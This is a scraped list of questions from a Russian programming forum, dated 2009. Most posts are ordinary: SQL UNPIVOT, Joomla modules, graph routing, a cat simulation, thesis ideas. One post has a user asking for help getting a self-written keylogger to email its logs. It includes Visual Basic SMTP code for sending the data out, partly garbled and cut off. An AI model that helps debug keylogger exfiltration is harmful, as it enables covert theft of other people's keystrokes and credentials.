Клуб программистовлюбые вопросы по PHP, С++, JAVA, Python, Perl

Подскажите куда копать, или посодействуйте в разработке программы для контроля за датчиком освещения.
Идея как в умном доме – разработка ПО для контроля датчиков

//www.intelecthouse.ru/dom/index.html

Также интересует как связать данные приходящие на вход usb компа или на контроллер с браузером.
Хочу написать программу для управления.

Использование ATL 05.09.09 Ответов: 1

Может ли кто-нибудь, кто использовал ATL посоветовать какой-нубудь учебник(автор и название). Зарание спасибо.

SQL запросы 04.09.09 Ответов: 22

ПОМОГИТЕ КТО МОЖЕТ. ГОЛОВУ ЛОМАЮ НАД ОДНИМ ПРОСТЫМ ЗАПРОСОМ:

Краткая информация о базе данных "Компьютерная фирма":

Схема БД состоит из четырех таблиц:
Product(maker, model, type)
PC(code, model, speed, ram, hd, cd, price)
Laptop(code, model, speed, ram, hd, screen, price)
Printer(code, model, color, type, price)
Таблица Product представляет производителя (maker), номер модели (model) и тип ('PC' – ПК, 'Laptop' – ПК-блокнот или 'Printer' – принтер). Предполагается, что номера моделей в таблице Product уникальны для всех производителей и типов продуктов. В таблице PC для каждого ПК, однозначно определяемого уникальным кодом – code, указаны модель – model (внешний ключ к таблице Product), скорость – speed (процессора в мегагерцах), объем памяти – ram (в мегабайтах), размер диска – hd (в гигабайтах), скорость считывающего устройства – cd (например, '4x') и цена – price. Таблица Laptop аналогична таблице РС за исключением того, что вместо скорости CD содержит размер экрана -screen (в дюймах). В таблице Printer для каждой модели принтера указывается, является ли он цветным – color ('y', если цветной), тип принтера – type (лазерный – 'Laser', струйный – 'Jet' или матричный – 'Matrix') и цена – price.

САМО ЗАДАНИЕ:
Для ПК с максимальным кодом из таблицы PC вывести все его характеристики (кроме кода) в два столбца:
- название характеристики (имя соответствующего столбца в таблице PC);
- значение характеристики

МОЙ ВАРИАНТ РЕШЕНИЯ (ГДЕ ОШИБКА???):
SELECT Характеристика, знач_характ
FROM
(SELECT CONVERT(varchar(25), model), CONVERT(varchar(25), speed), CONVERT(varchar(25), ram), CONVERT(varchar(25), hd), CONVERT(varchar(25), cd), CONVERT(varchar(25), price) FROM PC) p
UNPIVOT
(знач_характ FOR Характеристика IN(model, speed, ram, hd, cd, price)) AS unpvt

С# и WIN API 04.09.09 Ответов: 16

Есть задача заключаящаяся в засекании времени исполнения программы при помощи таймера винды. Можно ли это осуществить в С# и насколько это сложно учитывая что языка я вообще этого не знаю.

Люди хелп_у меня сложилась такая ситуация_сейчас учусь на 5 курсе и естественно надо писать дипломную работу (как ни странно))

!!!надо написать программу!!!
программа должна быть в чем-то уникальная (чтобы не было аналогов) или хотя бы конкурентоспособная(и не дай бог ей оказаться хуже_порвут на тряпки), при чем, желательно чтобы подобного софта было как можно меньше(допустим плеер писать уже сразу отпадает_просто базу данных с оболочкой писать вообще не разрешают, игры то же сказали нет…)
Думал писать программу по распределению и учету трафика (биллинг), увидел Traffic Inspectorи понял что за 6-7 месяцев (предзащита_потом + полтора месяца на доработку и защита_времени не так уж много_тем более что опыта по разработке серьезного по нету_но все впервые))) одному написать особо лучше не получится (там и учети распределение трафика и нат-сервер (вроде), прокси есть_в общем программа действительно классная) хотя меня эта мысль еще не покидает!)

Посоветуйте что можно написать на диплом или хотя бы в какую сторону рыть? или хотя бы чем ща интересуются люди? что востребовано, а что нет?

Заранее всем спасибо!

Joomla! 03.09.09 Ответов: 32

Доброго времени суток!
Скажите, как подключить модуль mod_custom в шаблоне joomla?
Я создал его через менеджера модулей, запихнул нужный текст, включил, дал заголовок mainp. Но в шаблоне при подключении <jdoc:include type="modules" name="mainp" /> он не выводится.

Задача немного отличается от "Задачи коммивояжера" в ее привычном понимании (где требуется обойти по кратчайшему пути все точки на графе и вернуться в исходную).

У меня есть граф (достаточно большой, есть вес каждого ребра). Некоторые ребра двунаправленные, некоторые – однонаправленные. Есть вершины с одним ребром (типа конечных ответвлений).

Задача: посетить указанный список вершин по минимальному пути. То есть заходить можно вообще в любые вершины графа, но в указанный список – посетить обязательно.

Намекните мне как это проще сделать. А то я затупил :) давно алгоритмами не занимался, все позабыл. Если есть примеры, то приму с радостью на Дельфях.

Спасибо.

BMC Remedy ARS 02.09.09 Ответов: пока нет

Может кто-нибудь знает что такое BMC Remedy ARS platform and ITIL, его отношение к Java, с чем это кушают и вообще насколько это перспективно? С практической точки зрения, wikipedia уже прочел. Спасибо.

модель кота 02.09.09 Ответов: 28

а вот взбрело мне в голову написать модель кота.
Кот должен:
-иметь характеристики:
сытость
сонливость
довольность
-уметь выполнять действия:
есть
спать
идти чтобы его погладили

соответственно,
если кот голоден – он идет есть (сытость увеличивается)
если кот хочет спать – он спит (сонливость уменьшается)
если он недоволен – он идет чтобы его погладили (довольность увеличивается)

довольность кота определяется как сумма сытости и сонливости с некоторыми коэффициентами (что не очень важно)
выполнение каждого действия снижает все характеристики на единицу например (что не очень важно)

Модель хочется сделать легко расширяемой, т.е. чтобы легко можно было добавить или еще десяток свойств коту, или изменить его алгоритм выполнения действий (например чтобы он проснувшись сперва ел и потом цел чтобы его погладили, или наоборот) или добавить десяток котов, чтобы они при перемещении по некоей площади где размещены источники пищи и места где их гладят или мырлыкали друг на друга или кусали в зависимости от довольства, итд…
"Легко" – это значит не требовало переписывания бОльшей части программы.

Интуитивно понятно, чтореализация на любом языке типа ява, с++, питон,… возможна но неудобна.

Собстно вопрос(ы):
- где (какая дисциплина) разбирает такие задачи?
- верно ли понимание что для удобного решения такой задачи стоит сделать специализированный язык?

Всем здрасти……
Ну типа у меня есть одна проблема и ни как не могу разобраться, что к чему…. Помогите!!!!!

Проблема:
Написал я короче кейлогер))))для работы в сети)))) все вроде бы работает,
однако отправлять какие либо сообщения с логами, прога не хочет))))

Public Function smtp(m_host, m_port, m_from, m_rcpt, name_from, name_rcpt, m_reply, m_subject, m_data As String) As Integer
Dim temp, timeout As Variant
Progress = 0
Green_Light = False
do_cancel = False
timeout = Timer + 60
Log "Will timeout in 60 seconds"
If mysock <> 0 Then Call closesocket(mysock)
temp = ConnectSock(m_host, m_port, 0, Form1.hWnd, True)
Log "Connect socket return value" & temp
Log "Connected to " & m_host & " at port " & m_port
If temp = INVALID_SOCKET Then
Log "Error -Invalid Socket"
smtp = -1
Exit Function
End If
While mysock = 0
DoEvents
If do_cancel = True Then
Log "Error .. No connection"
smtp = -1
Exit Function
End If
Wend
timeout = Timer + 60
Log "Connection Established…"
While Green_Light = False
DoEvents
If do_cancel = True Then
Log "Error in between smtp – fatal"
smtp = -1
Exit Function
End If
If Timer > timeout Then
m_timeout = True
Call closesocket(mysock)
mysock = 0
Log "Timeout at progress step " & Progress
smtp = 0
Exit Function
End If
Wend
Log "HELO " & Mid(m_from, InStr(1, m_from, "@") + 1, Len(m_from)) & vbCrLf
Call SendData(mysock, "HELO " & Mid(m_from, InStr(1, m_from, "@") + 1, Len(m_from)) & vbCrLf) 'send the data
While Progress < 1
DoEvents
If do_cancel = True Then
Log "Error in between smtp – fatal"
smtp = -1
Exit Function
End If
If Timer > timeout Then
m_timeout = True
Call closesocket(mysock)
mysock = 0
smtp = 0
Log "Timeout at progress step " & Progress
Exit Function
End If
Wend
Log "MAIL FROM: <" & m_from & ">" & vbCrLf
Call SendData(mysock, "MAIL FROM: <" & m_from & ">" & vbCrLf)
While Progress < 2
DoEvents
If do_cancel = True Then
Log "Error in between smtp – fatal"
smtp = -1
Exit Function
End If
If Timer > timeout Then
m_timeout = True
Call closesocket(mysock)
mysock = 0
Log "Timeout at progress step " & Progress
smtp = 0
Exit Function
End If
Wend
Log "RCPT TO: <" & m_rcpt & ">" & vbCrLf
Call SendData(mysock, "RCPT TO: <" & m_rcpt & ">" & vbCrLf)
While Progress < 3
DoEvents
If do_cancel = True Then
Log "Error in between smtp – fatal"
smtp = -1
Exit Function
End If
If Timer > timeout Then
m_timeout = True
Call closesocket(mysock)
mysock = 0
Log "Timeout at progress step " & Progress
smtp = 0
Exit Function
End If

Wend
Log "D?4??4??1?" —————————————————–
На этом шаге вылетает сообщения с сервака
типа
" 503 Administrative prohibition — authorization required.Users in your domain are not allowed to send email without authorization.See //www.mail.ru/pages/help/261.html for details."
Незнаю короче…. Че делать.
———————————————————————————————————–

Call SendData(mysock, "D?4??4??1?" & vbCrLf)
While Progress < 4
DoEvents
If do_cancel = True Then
Log "Error in between smtp – fatal"
smtp = -1
Exit Function
End If
If Timer > timeout Then
m_timeout = True
Call closesocket(mysock)
mysock = 0
Log "Timeout at progress step " &

Нужно написать небольшой парсер или программу для сбора статистики по сайтам. Техническое задание доступно тут – //www.paveln.spb.ru/tzpars.rtf
Исполнитель, желательно, из Санкт-Петербурга (это упростит диалог и оплату)
Все вопросы и предложения по цене – в личку.

Скажите, java – это страшно?

Клуб программистов работает уже ой-ой-ой сколько, а если поточнее, то с 2007 года.